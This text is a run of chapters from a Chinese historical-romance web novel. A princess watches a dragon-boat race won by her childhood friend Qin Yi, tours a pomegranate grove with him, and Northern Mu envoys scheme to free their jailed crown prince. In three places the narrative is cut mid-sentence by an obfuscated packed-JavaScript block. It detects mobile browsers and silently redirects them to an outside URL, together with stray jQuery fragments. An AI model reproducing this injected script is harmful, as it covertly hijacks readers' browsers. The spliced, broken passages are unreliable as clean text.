宁渊转头向自己的侍从示意,侍从掏出一叠银票递给宁渊,宁渊没有清点便直接递给了宁玉瑶,“乖女儿辛苦了,拿去玩吧。” 宁玉瑶美滋滋地收下银票,转身让不离身的丹素收起来,“爹,那我们先走啦!” 宁渊见女儿转身就要跑,赶紧问道:“你们这是要去哪?” 马车里的宁雅娴听到祖父的问话,大声回答:“祖父,姑姑要带我和弟弟去看龙舟!” 还在牙牙学语的宁宣博学着姐姐的话尾,跟着喊:“龙舟!龙舟!” 过几日便是五月初五,端午节,今年陛下让雁京府衙举办一场龙舟赛,各衙门均需有队伍参赛。 这些天静灵河岸边虽然聚集了众多百姓,但也有朝廷官员和家眷,以及羽林军,京翼卫等军士在岸边守着,静灵河边还算安全。宁渊便没再多说,只是让自己的护卫都跟着郡主和小小姐、小少爷,这才放他们离开。 姜啸恒满脸慈爱地看着小外孙们跟自己告别,心里十分得意自己给女儿定了这一门好姻缘。 “姜翁,可要与我一同回国公府看看?”待女儿和孙儿们走远,宁渊笑着邀请姜啸恒。 姜啸恒正有此意,光明正大地翘了今日的班,去国公府看小外孙。 * 五月初五,端午节至。 今日有赛龙舟的盛事,宁玉瑶早早地便起了床。 她推开房门,清晨的阳光恰到好处,明媚而不刺眼,空气中弥漫着淡淡水汽。昨儿夜里下了一夜暴雨,原本还担心暴雨会影响今日的龙舟赛,但好在天公作美,天刚破晓雨就停了。 正用早膳时,诚国公府那边将宁雅娴和宁宣博送了过来。 宁渊身为羽林军统领,早已在卯时入宫,待到辰时,将伴随承武帝一同出宫。宁璟瑞率领京翼卫,在静灵河畔严阵以待。姜婉珍正值月子期间,祁婧惠放心不下,便留在诚国公府陪伴儿媳。 诚国公府的两个小娃儿想要看龙舟赛,自然只能交给亲姑姑宁玉瑶带着。 “姑姑!姑姑!”三岁的宁宣博抱着宁玉瑶的腿,六岁的宁雅娴则环着她的腰,两人兴奋地缠着姑姑。 前几日他们跟着姑姑去看过一次龙舟,听说今日静灵河上的龙舟会更多,他们一直心心念念,今日早早地闹着要来找姑姑了。 宁玉瑶自己都还是个没长大的孩子,自然不会教孩子们什么规矩,所以这两个孩子与她格外亲近。 宁玉瑶戳了戳小家伙们的额头,“吃过早膳了吗?” 宁雅娴:“吃过了!” 宁宣博:“没有!” 宁玉瑶将宁宣博拎到一旁坐着,没信他的话,转而看向宁宣博的奶嬷嬷,奶嬷嬷冷汗直流,连忙说道:“郡主,小少爷今儿早上吃了半碗鸡蛋羹和半碗鸡丝馎饦,还喝了一小碗牛乳。” 宁玉瑶颔首,眼中并无责备之意,只是挥手示意奶嬷嬷退下。 她知道博儿年幼,说话时常颠三倒四,家人们早已习以为常,对他的话未曾尽信,只待过两年博儿长大些就好了。 34.龙舟 静灵河边人声鼎沸、锣鼓喧天,河岸的树木皆被装饰上喜庆的红绸,轻轻随风摇曳。 宁玉瑶在护卫们的簇拥下,带着两个孩子登上官府搭建的观景高台。 这座高台修筑得极为稳固,不但视野开阔,而且位置绝佳,能将静灵河上的景致尽收眼底。 观景台上位置最佳的主座,自然是留给帝后和太子的。而下首紧邻主座的,则是深受帝后宠爱的明安郡主的座位。 对于帝后这种公然越过众多皇子公主,一味偏宠明安郡主的举动,朝中的文武百官曾多有微词。然而,承武帝可不是那种会因他人反对就改变主意的皇帝。 你们尽管进谏,朕自岿然不动。 于是这么多年过去,众臣似乎也已经习惯了明安郡主的超然地位。 宁玉瑶带着小孩儿们坐到自己的位置上,心情颇好地拿出千里眼,在河面上寻觅着秦熠的龙舟,全然不在意下面官员们若有似无的目光。 平静的湖面上,整整齐齐地排列着十支龙舟,蓄势待发。每支龙舟上皆配备着二十二个人,一名鼓手掌控节奏,一名舵手把控方向,还有二十名孔武有力的划手。 没过多久,宁玉瑶就看到了京锐营那条醒目的火红色龙舟。 秦熠赤裸着上身,精壮结实的身躯展露无遗,皮肤上用彩色染料绘着寓意风调雨顺、驱邪避害的繁复花纹。他手持鼓槌,面容冷峻,昂首挺立于龙舟的龙头之上。 宁玉瑶托腮望着远处的秦熠,在她面前的熠哥哥,向来都是嬉皮笑脸,偶尔还透着点儿傻气。像这般傲睨万物、霸气十足的模样,于她而言还真是头一遭见。 蓦地,秦熠似乎有所察觉,微微蹙眉转头朝这边望来。宁玉瑶轻轻对着秦熠挥了挥手,紧接着,她便看到秦熠脸上露出熟悉的笑容,她也不由自主地笑了。 待到静灵河边聚集的人越来越多,观景高台上也座无虚席时,太监尖锐的嗓音高声唱道:“皇上驾到!皇后娘娘驾到!太子殿下驾到!” 刹那间,喧闹的静灵河变得鸦雀无声,所有人都齐刷刷地跪在地上,恭迎圣驾,山呼万岁: “皇上万岁万岁万万岁!” “皇后娘娘千岁千岁千千岁!” “太子殿下千岁千岁千千岁!” 承武帝携皇后和太子走上高台,宁玉瑶余光瞥见苏德茂步履略显蹒跚地跟在承武帝身后。 宫中春玉娅之事调查结束,祁夕滢虽为主犯,但内官监的采买太监从中作梗,并将春玉娅和归霞草带入宫中,太监主管监管不力,难辞其咎。 内官监的犯事采买太监和总管太监已被杖毙,苏公公也未能幸免,死罪虽免,活罪难逃,被罚了五十大板。料想此时他身上的伤还未痊愈。 “众爱卿平身,今日佳节,无需多礼。”承武帝那威严的声音响起,“朕与诸位一同观赏今年的赛龙舟。” 众人赶忙谢恩,起身坐回自己的座位。 礼部官员立于高台上一侧,高声颂唱着祝辞,祈愿大宸风调雨顺,国运昌盛。 祝辞完毕,司礼官点燃手中的信号弹。 同一时刻,静灵河上鼓声震天,十条龙舟犹如离弦之箭一般飞快地向前划去。 宁玉瑶坐在观景台上,她的视线自始至终都被那艘红色龙舟牢牢吸引。 龙舟上,秦熠的身影格外引人注目。他的手臂肌肉线条分明,有力地敲打着龙舟鼓,每一次敲击都发出沉稳的鼓声。 伴随着秦熠富有节奏的击鼓声,京锐营的兵士们划桨的动作整齐划一,红色龙舟飞速前行,转眼间就将其他龙舟远远地甩在了身后。 此刻,岸边的欢呼声和助威声此起彼伏,一浪高过一浪。 而宁玉瑶的目光无法从秦熠身上移开,她看到汗水顺着秦熠坚毅的脸颊流下,随后沿着他结实的胸膛滑落,蜜色的肌肤在阳光下熠熠生辉。 不知不觉间,宁玉瑶的脸颊泛起一抹如朝霞般艳丽的红晕。 一只小手轻轻摸上宁玉瑶的额头,宁玉瑶回过神来,看向宁雅娴。小姑娘一脸担忧地望着她,“姑姑,你的脸好烫,不会是生病了吧?” 宁玉瑶轻轻捏了捏小侄女的脸蛋,“姑姑没事,太阳有些晒罢了,快看,第一支龙舟要到终点了。” 小孩子都很好糊弄,姑姑说没事那就是没事。 宁雅娴立即转头看向湖面,果然,一支火红色的龙舟冲至终点处河中央,那里插着一根绑着五颜六色锦布的长竿,秦熠扔下手中的鼓槌,一把拔起长杆夺得彩标。 秦熠高举彩标,发出一声胜利的呼喊,随着他的呼喊,岸边京锐营的兵士们也跟着高声欢呼起来。 宁宣博和宁雅娴一眼便认出那是旁边秦将军府上的秦熠叔叔,开心得想要跳起来欢呼。但宁雅娴想到此刻还在外面,赶紧拉住弟弟乖乖坐下。 宁玉瑶莞尔,摸了摸两个娃儿的小脑袋,家中虽不拘着他们玩闹,但在外头,娴儿和博儿到底还是有些拘束,远不如自己当初那般无法无天。 随着越来越多的龙舟抵达终点,河岸边欢呼声震耳欲聋。 承武帝看着百姓们脸上的笑容,龙心大悦,吩咐道:“叫夺标的那支龙舟上来领赏。” 因要面圣,京锐营的将士们上观景台时已穿戴整齐。 二十二人整齐地跪在观景台前的空地上,向承武帝请安:“臣等参见陛下、参见皇后娘娘、参见太子殿下。” “平身吧。” 宁玉瑶看到跪在最前面的秦熠,他起身时抬头看了自己一眼,还悄悄眨了眨眼睛。 宁玉瑶下意识地抚摸着手腕上的金发晶珠串,她看得真切,秦熠眼中的欢喜不再是以往见到儿时玩伴时的愉悦,而是面对心悦之人时难以抑制的欢欣。 她并不觉得意外,就如同方才察觉自己的心意一般觉得顺理成章。 不过…… 宁玉瑶心中轻轻叹了口气,北穆之事尚未解决,若不出所料,过些时日熠哥哥将会跟随秦将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941343|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军一同出征北穆,这些儿女情长之事只能往后再议。 赏赐完京锐营,承武帝便带着皇后和太子起驾回宫。 今年端午节的龙舟赛在一片热闹欢腾中圆满落幕,静灵河边的人陆续散去,方才还人头攒动的河边,逐渐恢复了往日的宁静。 宁玉瑶让诚国公府的侍卫们先护送两个孩子回府,自己则派人寻到了秦熠拴马的地方。 秦熠收到小厮传来的消息后,便匆匆赶往马厩。 远远地,他就看见宁玉瑶站在马厩边,轻轻拍着月影的脑袋,小声说着什么。 秦熠松了口气,还好明安没骑月影,不然长公主一怒之下真有可能不让自己见明安了。 “明安。”秦熠快步走向宁玉瑶。 宁玉瑶听到秦熠的声音回过头来,看到洗去脸上彩绘的俊朗少年,那张英俊的面庞更加清晰。她的眼睛像月牙一般弯起,“熠哥哥。” 秦熠走到宁玉瑶身边,接过月影的缰绳将它牵出马厩,一边问:“怎么还没回府?” 宁玉瑶没有回答这个问题,而是眨着眼睛反问他:“熠哥哥今日还有事么?” 今日龙舟赛后,他们能得半天假,秦熠思索片刻,他好像忘了什么事,但估摸着不是什么要紧事,于是笑嘻嘻地说:“没事,明安有什么吩咐?” 宁玉瑶一听,脸上的笑容越发灿烂,“听说城南谢家的石榴林内的花开得正好,熠哥哥带我去看看吧!” 谢家的石榴林位置偏僻,最近家中事务繁忙,没人有空陪她去赏花。若是邀上沈瑜,两个姑娘家,即便有护卫跟着,家中长辈也定然不放心。但如果有熠哥哥陪着,就不成问题了。 秦熠爽快地应下:“自然可以。” 宁玉瑶满心欢喜地翻身骑上霁月,带着丹素、丹诺和一队侍卫跟在骑着月影的秦熠身后,向石榴林策马奔去。 * 秦将军府。 秦夫人站在膳堂门口来来回回地踱步,不时朝着门口张望,却左等右等都没等到人。 她转身回到膳堂内,拍了拍正在吃粽子的秦柏的胳膊,“不是说秦熠今日有半天假吗?这都什么时候了,怎么还没回来?” 秦柏三两口吃完一个大肉粽,嘴里塞得满满当当,含糊不清地说:“谁知道那小子跑哪去了,静灵河边的人早就走完了。我还以为他早回来了呢。” 秦夫人皱眉,这臭小子,怎么连个消息都不送回来。 正想着,秦熠身边的小厮回来了,他匆匆走进膳堂禀报:“将军、夫人,少爷陪明安郡主去城南看石榴花了。” 秦夫人闻言眉毛一挑,石榴花? 一旁的秦柏“啧”了一声,秦夫人回神给了他背上一巴掌,“少在这儿阴阳怪气,吃你的粽子吧!” 秦夫人说完,心情很好地施施然走了。 秦柏举着刚拆开的粽子,满脸莫名其妙,我怎么了?牙里塞了根肉丝想弄出来,发出了点声响也不行?还讲不讲道理? 35.石榴花 雁京城南的石榴林在谢家的庄子里。 这个谢家,乃是当之无愧的名门望族,早在大宸建立之前就已存在了上百年。在大宸朝风云跌宕的数百年间,谢家依旧屹立不倒,其家族势力之深厚,可见一斑。 大皇子的母妃淑妃,便是出自这谢家,她乃谢家上一任家主的嫡女,也是现任谢家家主、太常寺谢少卿的亲姐姐。 谢家的那片石榴林,栽种在庄子里一座小山的半山腰上。寻常人若想进去赏花,连庄子的大门都进不去。 但若是承武帝最为宠爱的明安郡主,那便不同了。甚至无需请示谢家家主,只消长公主府护卫说一声“明安郡主到了”,管事立即满脸笑容地跑出来迎接。 秦熠客气地对管事说道:“听闻谢少卿庄子中的石榴花开得正盛,今日恰逢端午佳节,冒昧前来,还请见谅。” 管事殷勤地笑道:“秦都司客气了,没想到庄子里这小小石榴花能有幸得到明安郡主的青睐。贵客临门本应扫榻以待,但家主此时不在此处,小的招呼不周,还请郡主和秦都司多多包涵。” 宁玉瑶微微颔首,不甚在意地说:“本就是临时起意想来看看石榴花,不必劳烦谢少卿,看过花儿我们就走。” 管事不再过多客套,连忙恭敬地引着宁玉瑶一行人往庄子内走去,一路上介绍着庄子内沿途的各类产出。 谢家的庄子规模极大,从庄子门口一路往里面行进,经过了一大片广袤无垠的小麦田。 宁玉瑶好奇地停在了麦田边缘,只见麦田里的麦穗颗颗饱满,叶片呈现出黄绿色,微风轻轻拂过,形成一片此起彼伏、黄绿相间的麦浪。伴随着微风,一阵清新的小麦气息悠悠地拂过宁玉瑶的鼻尖。 “原来麦子长这样。”宁玉瑶揪下一支麦穗拿在手中仔细端详。 在场众人没有人敢笑话明安郡主五谷不分,身为大宸朝皇室最受宠爱的少女,这些农耕之事她本就无需知晓。 宁玉瑶眺望远处正在麦田中忙碌的农人们,“他们这是在做什么?” 管事连忙回道:“郡主,如今正值小麦生长极为关键的灌浆期,这些农人需要松土、浇水、除草、灭虫害以及追肥,如此才能保证这些麦子能够有个好收成。” 宁玉瑶似懂非懂地点点头,转头却看见秦熠眉头轻皱,盯着那些辛勤劳作的农人,宁玉瑶没有开口询问,只是轻轻拉了拉秦熠的袖子,秦熠回神,笑着夸道:“这麦子长得着实不错。” 管事忙道过奖,将一行人带至石榴林边,“小的就不打扰郡主和秦都司赏花了,若郡主和秦都司有何吩咐,尽管差遣小的便是。” 宁玉瑶颔首,“有劳。” 管事主动停在石榴林外,并不上前打扰贵人。 宁玉瑶信步走进石榴林中。 石榴林中很安静,阳光透过树叶的缝隙,斑驳地洒在地上,此时的石榴花开得正好,大片大片火红色的石榴花,花瓣层层叠叠,微风吹过,石榴花瓣轻轻摇曳。 空气着弥漫着淡淡的香气,清新怡人。 看了一会儿花,宁玉瑶示意侍女和侍卫们退远一些,只留丹素和丹诺跟在身边,她问秦熠:“熠哥哥方才在麦田里看到了什么?” 秦熠伸手摘下一朵开得最盛的石榴花,本欲将其插入宁玉瑶的发髻,但突然意识到自己如此行事太过唐突,于是转而将花枝递给丹素。 看着丹素将花枝别在宁玉瑶的发髻上,那火红的石榴花衬得宁玉瑶愈发娇美动人。 秦熠才开口回答宁玉瑶之前的问题:“麦田里有几个农人,瞧着比一般农人高大健壮,面上也不似农人一般风霜,而且行动间看着似乎是个武把式。” 丹素、丹诺听闻此言,心中皆是一惊。早有传言秦都司目力惊人,可百步穿杨,但没想到他能看到的比传闻中的更远。 在方才站的位置,她们只能模糊地看见有几个人,是男是女都难以分辨,但没想到秦都司连他们的面容神情都看得一清二楚。 宁玉瑶却见怪不怪,青梅竹马十余年,她对秦熠的能力了如指掌,她问道:“这几人很可疑么?” 秦熠仔细回想了片刻,觉得可能是自己多心了,便摇摇头,“没什么,他们务农时极为熟练,显然是常年做惯了的。像谢家这样的大家族,庄子里有几个会武的护卫,倒也不是什么稀奇之事。” 既然秦熠说没问题,宁玉瑶便没有继续追问,两人不再言语,静静地欣赏着满山火红的石榴花。 片刻后,宁玉瑶轻声问秦熠:“熠哥哥,你何时启程?” “万寿节过后,我和我爹会提前出发前往定州。” 宁玉瑶听后沉默不语,爹爹也告诉过她,万寿节后便会处死林鸿轩,北穆王储一死,北穆王必会发疯攻打大宸。 但林鸿轩绝不能留,不论是舅舅还是父亲,都认为不可放虎归山。 更何况林鸿轩是舅舅钦点的探花,如此奇耻大辱,舅舅怎能咽下这口气。 既然如此,秦将军和秦熠就必须尽快抵达定州,先下手为强。 想起前世秦熠战死定州,宁玉瑶抬起头,定定地看着秦熠:“熠哥哥,你一定要平安归来。” 秦熠转身看着宁玉瑶满是担忧的脸庞,心中一阵触动,他攥紧了自己的拳头,片刻后松开手,按下心中的遐思,伸手摘了一簇火红的石榴花递给宁玉瑶,轻笑着回道:“明安放心。” 宁玉瑶此刻已没有心情继续赏花,有些烦闷地带着秦熠走出石榴林。 谢家管事见到二人,连忙上前请示道:“郡主,秦都司,二位可还有别的要求?” 宁玉瑶余光瞥了一眼如往常一般笑容灿烂的秦熠,“无事,今日打扰了,我们现在就回雁京。” “不敢不敢,小的送二位。”管事赶忙应道。 宁玉瑶跟在管事身后,仔细回想前世秦熠的死因。 她只依稀记得似乎是因为舅舅驾崩之后,林鸿轩在背后搞鬼,断了定北军的粮草,导致定北军孤立无援,最终全军覆没。 若是如此,那应该无需太过担心。这次林鸿轩被关在牢中,舅舅还健在,定北军无后顾之忧,必不会如上一世一般惨烈。 想通之后,宁玉瑶的心情顿时好了起来。 一行人走到一个小院前时,旁边的林子中突然走出两个农夫打扮的中年男子。 中年男子见到他们先是一愣,待反应过来自己冲撞了贵人们,顿时吓得脸色苍白,诚惶诚恐地跪下磕头,请贵人们恕罪。 管事见状,神色紧张,连忙向宁玉瑶请罪:“明安郡主,这些刁民没见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954154|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世面,还请郡主见谅。” 宁玉瑶此刻心情还算不错,随意地挥了挥手:“退下吧。” 那两名中年男子如蒙大赦,连滚带爬地爬起来,赶紧跑回林子里。 * 端午节过后没几天,雁京城内渐渐热闹起来。 大宸如今都头等大事,便是圣上的万寿节即将来临。 周边小国的使臣们都陆续抵达了大宸,雁京城内随处可见穿着奇装异服的外邦之人。 这些时日雁京城中就连游商都比往常多了许多,他们操着不同的口音叫卖着各种稀奇玩意儿。 北穆这次派遣来的使臣是北穆的丞相,他自称十分喜欢大宸文化,还给自己取了给大宸名字叫文攸礼。 文攸礼一行人在鸿胪寺卿梁松年的陪同下,抵达各国使臣在雁京城暂住的会同馆。 梁松年圆润的脸庞上笑意盈盈,一脸和气地对面前头发花白的干瘦老人说:“文丞相,您远道而来,辛苦了。这个院子一直以来都是给北穆使臣使用的,希望您能住的习惯。” 文攸礼环视一圈院中的陈设,他注意到其中有许多北穆的物件,只是这些东西究竟是大宸与北穆正常交易而来的,还是从战场上缴获的战利品,就不得而知了。 文攸礼收回视线,转头看向梁松年,笑着说:“梁寺卿有心了。” 梁松年谦虚道:“分内之事,分内之事,既然文丞相没有别的需求,那本官就先告辞了,文丞相好好休息。” “梁寺卿,”就在梁松年准备转身离开之时,文攸礼出声叫住了他,“您也知道,我向来对大宸文化推崇备至,心中甚是向往。不知可否劳烦您请一位大宸的文官来,给我讲讲大宸的经史子集,也好让我更深入地领略大宸文化的博大精深。” 梁松年一脸好说话的表情应道:“自然是可以的,不知文丞相对人选可有什么特别的要求?” “也没特别需求,诸位大人想必都事务繁忙,不便打扰。只是我听说有位叫林鸿轩的大人文采斐然,不知可否请他来给我讲讲学问?” 梁松年一脸疑惑,似乎对这个名字毫无印象,“林鸿轩?” 站在他身后的鸿胪寺丞小声提醒道:“承武十四年的探花,任职翰林院侍读。” “哦!”梁松年恍然大悟,赶紧说,“一个侍读,好说好说,丁寺丞,你去翰林院把林侍读借过来用几天。” 丁寺丞站在原地不动,尴尬地笑了笑,“梁寺卿,林侍读现在在大理寺地牢里呢。” 梁松年还没来得及说话,文攸礼身后一个身材魁梧的壮汉就按捺不住,用蹩脚的大宸话怒喊道:“你们居然把我……” 文攸礼脸色骤变,用北穆话大喝一声,打断了大汉未尽之言。 大汉收住声,满脸怒容退到一边。 梁松年一脸茫然,假装没看懂他们的眉眼官司,心中暗自轻啧一声,差一点就能套出来了,真是可惜。 “真可惜。”文攸礼轻声说道。 梁松年被这一声吓得唬了一跳,还以为自己不小心把心里的想法说了出来。 他赶忙收敛心神,看向文攸礼,只见文攸礼似乎真的满怀好奇地问道:“我一路走来,听闻林探花文采非凡,不知他究竟犯了何事,竟被关进了大理寺中?” 36.准备 梁松年侧过头瞥了一眼丁寺丞,丁寺丞赶紧说:“林侍读是和秦熠秦都司当街斗殴,损坏了百姓的财物,才被抓的。” “原来是这事,”梁松年一脸恍然,“本官也有所耳闻,那天秦将军大发雷霆,亲自去大理寺交了罚金和赔款,这才把秦都司赎了出来,林侍读还没交罚金吗?” 丁寺丞压低声音,轻声说道:“罚金倒是不多,然而苦主损坏的玉器价值高达万两黄金,林侍读家境贫寒,恐怕是拿不出来的。” 文攸礼脸上未显异色,但心中却是恨铁不成钢,暗自握紧了拳头,居然如此鲁莽…… 北穆王储能够轻松拿出万两黄金,可家境贫寒的林侍读绝对无能为力。 此事似乎进入了死局。 梁松年带着几分歉疚,对文攸礼说:“文丞相,您看这事不凑巧,林侍读出不来。不过要探讨学问这事简单,您看丁寺丞如何?他可是承武七年的榜眼,学识也是相当渊博。” 丁寺丞摸摸自己的小胡子,朝着文攸礼含蓄一笑。 文攸礼连忙说:“这怎么好意思,鸿胪寺近日事务繁忙,我怎可因一点小事就夺了梁寺卿的左膀右臂。” “也是。”梁松年沉吟片刻。 这时,丁寺丞轻声提醒:“大人,翰林院。” “对对,看我这记性,文丞相,翰林院的大人们,莫说探花,状元都有好几位,学识绝对一流,文丞相您看如何?” 文攸礼心知事情可一可二不可三,微微颔首应下:“如此便有劳梁寺卿了。” “小事小事,那您先安置吧,明儿就叫翰林院的大人来与您探讨学问。” 文攸礼微笑着目送鸿胪寺的两位大人离开。待他们的身影完全消失,文攸礼的脸瞬间沉了下来。 “出发前特地交代你们不要冲动,巴其特,你脑子呢?!”文攸礼换上北穆话怒喝道。 屋内的随从们见文攸礼发怒,连忙跪倒在地。 之前插话的壮汉巴其特梗着脖子,不服气地说:“可是大人,他们竟然把王储给关进了地牢……” 文攸礼打断他的话,“如果让大宸知道那位是王储,你觉得他还能活着出来吗?” 巴其特满脸怒容地站起身喊:“他们敢!” 文攸礼气得狠狠一拍桌子,“秦柏父子还活着!我们如今身处大宸的国都雁京,距离北穆万里之遥,两年前你险些被秦柏儿子打到王城,你说他们敢不敢!” 巴其特脸涨得通红,讷讷不敢再多言。 文攸礼见他这幅模样,叹了口气,语气也放缓了许多,“以后行事别再这么冲动,在雁京的这段时间都给我收敛点。巴其特,你现在去找一下我们安插在这的人,仔细打听下那位究竟是怎么回事。” 巴其特唯唯诺诺地低头小声地应下,转身离开了会同馆。 文攸礼揉了揉自己的额头,叫随侍们起来,“你们收拾收拾,等下各自出去逛逛。” 说是逛逛,其实不过是个借口罢了。文攸礼的真实目的是让他们出去多打探打探最近雁京发生了什么事。 自从进入大宸以来,他一直没有收到探子们主动送来的消息,心里总像揣着一块大石头,隐隐感到不安。 巴其特阴沉着脸,独自一人走在雁京北城的街道上。他身高九尺,穿着北穆特有的鹰羽甲,魁梧壮硕的身材极具压迫感,令人望而生畏。脸上毫不掩饰的怒容,路上的行人见着他,远远地便让开道路,唯恐不小心招惹到他。 巴其特怒气冲冲地大步向前,对周遭的一切都视而不见。 突然,他直接撞上了一个刚从街边商铺走出来的中年男子。幸亏男子身边眼疾手快的仆从及时扶住,才没让他摔倒在地。 巴其特这才目光不善地看向被他撞到的人。他如同审视货物一般,上下仔细打量了对方一番,语气轻蔑地说道:“苍狄人?” 被他撞到的中年男子站稳身形后,不紧不慢地拍了拍衣袖,依旧面带微笑,“在下正是苍狄使臣。” “呵。”巴其特不屑地扯了扯嘴角,眼神中满是鄙夷,不再搭理他们继续前行。眼看就要再次撞到对方,他却丝毫没有停下的意思,直接用自己壮实的身体硬生生地将中年男子顶开,头也不回地大步走了。 “睿王!”中年男子的仆从赶紧扶住自家主子,愤怒地说,“这什么人,气焰如此嚣张。” 苍狄睿王倒是神色平静,“我没事,他们是北穆来的人,如今局势复杂,别跟他们起冲突。” 仆从一听是北穆人,赶紧噤声,不敢再多说半句,生怕一个不慎被那个壮硕的男子听到,给苍狄招惹不必要的麻烦。 宁玉瑶和秦熠刚从城外跑马回来,此刻正坐在旁边茶楼的二楼包厢中休憩。透过窗户,他们将下面街道上发生的事情看得一清二楚。 宁玉瑶皱眉问:“熠哥哥,那个满脸凶相的人是什么来头?竟敢在雁京如此张狂。” 秦熠撇了撇嘴,对自己的手下败将很是看不起,“那是北穆的一个什么征南将军,徒有一身蛮力,脑子却不怎么灵光。妄图征南,结果前两年被我打得丢盔弃甲,一路往北狼狈逃窜了几千里。” “熠哥哥如此厉害!”宁玉瑶的双眸亮晶晶地看着秦熠,追问道,“你说他一身蛮力,那你和他相比,谁的力气更大?” 秦熠毫不客气地回道:“自然是我,他那大块头不过是虚有其表,中看不中用罢了。” 宁玉瑶也觉得自己的竹马最厉害,她又指着街道上渐渐远去的那对主仆问:“那熠哥哥可知道他是哪国的使臣?” 秦熠仔细辨别了一番,说:“那是苍狄人,听闻此次前来的乃是苍狄王的弟弟睿王。” 宁玉瑶看着睿王远去的背影,面露疑惑:“一个王爷的脾气居然这么好么?被人这般挑衅都不生气。” 秦熠笑着解释道:“苍狄的东面与大宸相邻,北面有部分区域和北穆接壤。苍狄国力衰微,他们自是不敢轻易招惹北穆。这位睿王想必也是深知其中利害,为了苍狄的安稳,不得不忍辱负重。” 宁玉瑶回想起刚才那个儒雅随和的中年男子,心中不由泛起一丝同情,或许所谓的好脾气也只是因为形势所迫,无法随心随性地表达自己的真实情绪罢了。 * “丞相。” 正在沉思的文攸礼闻声抬头,看向从门外走进来的巴其特,“找到人了么?” 巴其特的表情很是难看,点头回道:“找到了,不过……晚些时候他会过来一趟。” 文攸礼眉头紧皱,不悦道:“会同馆周围肯定会有大宸的眼线,这时候他过来作甚?” “不知道,他没告诉我,只说到时候会跟您亲自禀报。”巴其特心中也憋着一股气,语气沉闷。 文攸礼闻言,心头涌起一股不祥的预感。 子时,夜深人静。一个瘦小的人影避开巡逻的守卫,悄悄走进了会同馆,从北穆使臣特地留的门缝中,小心翼翼地溜进了北穆人所住的院子中。 文攸礼的房门被轻轻叩响,很快便有人前来开门。 那道人影迅速钻进漆黑的房间。 房内并未点蜡烛,唯有文攸礼身前的夜明珠,散发着幽幽的光芒。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971491|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丞相。”来人正是一直听候林鸿轩差遣的老乞丐。 文攸礼坐在书案后,“说吧,这些日子到底发生了什么?” 老乞丐仿佛见到了主心骨一般,抹了抹眼角的泪水,哽咽着说道:“丞相,王储去年不知中了什么邪,突然跟失心疯了似的想要求娶嘉阳长公主府上的明安郡主。” 文攸礼眉头皱得更紧,“一个郡主罢了,窈窕淑女君子好逑,没追求到也没什么大不了的,这跟他进大牢有什么关系?” 老乞丐急得直跺脚,说道:“这干系可大了!那秦柏家的儿子秦熠,正是明安郡主的青梅竹马。王储想要追求郡主,可不就惹上了秦熠!自去年除夕过后,秦熠便处处与王储作对。我们为此折损了不少人手,行事也处处受阻。” 文攸礼怒不可遏,“就为了个女人?他竟然毁了我们在大宸苦心经营数十年的成果?” 老乞丐抹着眼泪,不敢说话。 文攸礼闭上双眼,深吸一口气,努力压制住内心的怒火。事已至此,再多的责骂也无济于事,不管王储多么不成器,王只有王储这一个孩子,若王储出事,王恐怕轻饶不了他。 文攸礼平复了一下情绪,睁开眼睛,对老乞丐说道:“再去想想办法,无论如何都要把王储救出来。” 老乞丐欲言又止,最终只是重重地叹了一口气,闷声应下。 文攸礼已经没有了说话的兴致,他挥挥手,让老乞丐退下。 待老乞丐走出房门,文攸礼再也抑制不住心中的愤怒,重重地拍了下桌子,压低声音咬牙切齿地说:“秦熠!” 他不禁想起两年前被秦熠追着打的巴其特,心中怒其不争,为何当初巴其特没能在北穆将秦熠置于死地,否则也不会凭空增添如此多的麻烦。 但此时懊悔这些也为时已晚,眼下只能先想尽办法救少主出大牢。 * 再过两日便是万寿节,这些时日宁渊忙得脚不沾地。今日好不容易早些回府,刚进府门,门房便匆匆送来帖子。 “国公爷,秦都司求见。” 宁渊打开帖子,瞧见上面那勉强算得上工整的大字,忍不住笑了,转头对身边的侍卫说道:“去告诉秦熠,今日我一直在府上。” “是,国公爷。”侍卫领命即刻前往秦将军府。 不多时,秦熠便被带到了书房。 “见过国公爷。” “不必多礼,”宁渊微笑着示意看座,“秦都司今日前来,可是有要事?” 秦熠端端正正地坐着,回道:“启禀国公爷,今日铺子管事送来消息,有人寻他,给他金银财宝,希望他能撤掉对林鸿轩的状子。” 秦熠所说的铺子便是他当初和林鸿轩斗殴时损坏财物的那个成衣铺。 只是外界无人知晓,这个铺子是秦熠姐姐先夫家的产业,损坏的所谓财物实则不值几个钱,这一切不过是他们联合起来做的一个局罢了。 